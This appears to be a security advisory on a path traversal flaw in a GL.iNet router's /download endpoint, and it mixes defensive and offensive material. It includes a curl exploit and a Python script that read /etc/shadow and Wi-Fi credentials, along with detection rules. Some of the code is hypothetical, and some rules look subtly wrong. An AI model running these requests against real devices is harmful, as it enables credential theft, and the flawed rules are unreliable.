CVE-2025-25684

Executive Summary

CVE-2025-25684 is a critical path traversal vulnerability in the GL.iNet Beryl AX GL-MT3000 router running firmware version v4.7.0. The flaw resides in the /download endpoint, where the path parameter is not properly validated. An unauthenticated attacker can send a crafted POST request to download arbitrary files from the device's file system, including sensitive configuration files, credentials, and cryptographic material. This vulnerability is currently unpatched and poses a severe risk to network integrity and data confidentiality.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a consumer networking device.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and impact, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Full file system read access.
• Integrity (I): None (N) – No write capability.
• Availability (A): None (N) – No denial of service.

Estimated CVSS Score: 7.5 (High)

Threat Level: Critical due to the ease of exploitation, lack of authentication, and potential for full system compromise via credential theft.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the /download endpoint of the GL.iNet web interface. The router's firmware likely uses a function similar to the following pseudo-code to handle file downloads:

@app.route('/download', methods=['POST'])
def download_file():
    path = request.form.get('path')
    # No validation of 'path' parameter
    return send_file(path)

An attacker can exploit this by sending a POST request with a path parameter containing ../ sequences to escape the intended download directory and access any file on the system.

Example vulnerable request:

POST /download HTTP/1.1
Host: 192.168.8.1
Content-Type: application/x-www-form-urlencoded

path=../../etc/shadow

This would return the contents of /etc/shadow, which contains hashed user passwords. Other high-value targets include:

• /etc/config/wireless – Wi-Fi credentials
• /etc/config/network – Network configuration
• /etc/opkg.conf – Package manager configuration
• /tmp/run/lighttpd.pid – Process information
• /proc/self/environ – Environment variables

Vulnerable vs. Patched Code

Vulnerable Code (v4.7.0):

@app.route('/download', methods=['POST'])
def download_file():
    path = request.form.get('path')
    # No validation or sanitization
    return send_file(path)

Patched Code (Hypothetical):

import os

ALLOWED_BASE = '/var/www/downloads'

@app.route('/download', methods=['POST'])
def download_file():
    path = request.form.get('path')
    # Sanitize and validate path
    safe_path = os.path.normpath(os.path.join(ALLOWED_BASE, path))
    if not safe_path.startswith(ALLOWED_BASE):
        return "Access denied", 403
    if not os.path.isfile(safe_path):
        return "File not found", 404
    return send_file(safe_path)

The patched version normalizes the path, ensures it stays within an allowed base directory, and verifies the file exists before serving it.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: GL.iNet Beryl AX GL-MT3000 running firmware v4.7.0
• Attacker: Kali Linux or any system with curl/Postman

Exploitation Steps:

1. Identify the target: Scan the network for the router's IP (default: 192.168.8.1).
2. Craft the exploit request:

   curl -X POST http://192.168.8.1/download \
        -d "path=../../etc/shadow"
   

3. Extract sensitive data: The response will contain the contents of /etc/shadow.
4. Escalate privileges: Use extracted password hashes to attempt offline cracking (e.g., with John the Ripper or Hashcat).

Automated Exploit Script (Python):

import requests

target = "http://192.168.8.1"
payloads = [
    "../../etc/shadow",
    "../../etc/config/wireless",
    "../../etc/config/network",
    "../../proc/self/environ"
]

for payload in payloads:
    r = requests.post(f"{target}/download", data={"path": payload})
    if r.status_code == 200 and len(r.text) > 0:
        print(f"[+] Success: {payload}")
        print(r.text[:500])

Blue Team

Detection & Response:

1. Monitor HTTP POST requests to /download with suspicious path parameters containing ../ or absolute paths.
2. Check logs on the router (if accessible) for unusual file access patterns.
3. Implement network segmentation to isolate the router from critical assets.
4. Deploy a WAF rule to block path traversal attempts:

   location /download {
       if ($request_method = POST) {
           set $block 0;
           if ($arg_path ~* "\.\.") {
               set $block 1;
           }
           if ($arg_path ~* "^/") {
               set $block 1;
           }
           if ($block = 1) {
               return 403;
           }
       }
   }
   

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /download with path parameter containing ../ or / at the start.
  • Unusual outbound connections from the router to unknown IPs (data exfiltration).
• File System IOCs:
  • Unexpected access to /etc/shadow, /etc/config/wireless, or other sensitive files.
  • Modified timestamps on configuration files.
• Log IOCs:
  • Entries in /var/log/lighttpd/error.log showing failed path validation attempts (if logging is enabled).

Detection Engineering

YARA Rule

rule CVE_2025_25684_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting GL.iNet Beryl AX /download endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25684"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "/etc/"
        $traversal4 = "/proc/"
    condition:
        any of ($traversal*) and
        #traversal1 > 0 or #traversal2 > 0
}

Sigma Rule

title: CVE-2025-25684 Path Traversal on GL.iNet Beryl AX
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /download with path traversal sequences
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25684
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: lighttpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/download'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '/etc/'
            - '/proc/'
    condition: selection
falsepositives:
    - Legitimate file downloads from allowed directories (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-25684 GL.iNet Beryl AX Path Traversal Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/download";
    http_uri;
    content:"path=";
    http_client_body;
    pcre:"/(\.\.\/|\.\.\\|\/etc\/|\/proc\/)/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2025-25684;
    classtype:attempted-recon;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management of the router if not required.
2. Restrict access to the web interface to trusted IPs only.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply a firmware update from GL.iNet as soon as it becomes available.
• If no patch is available, consider replacing the device or implementing a reverse proxy with path traversal protection.

Workaround:

• Block POST requests to /download at the network perimeter using a firewall or WAF.

Valters IT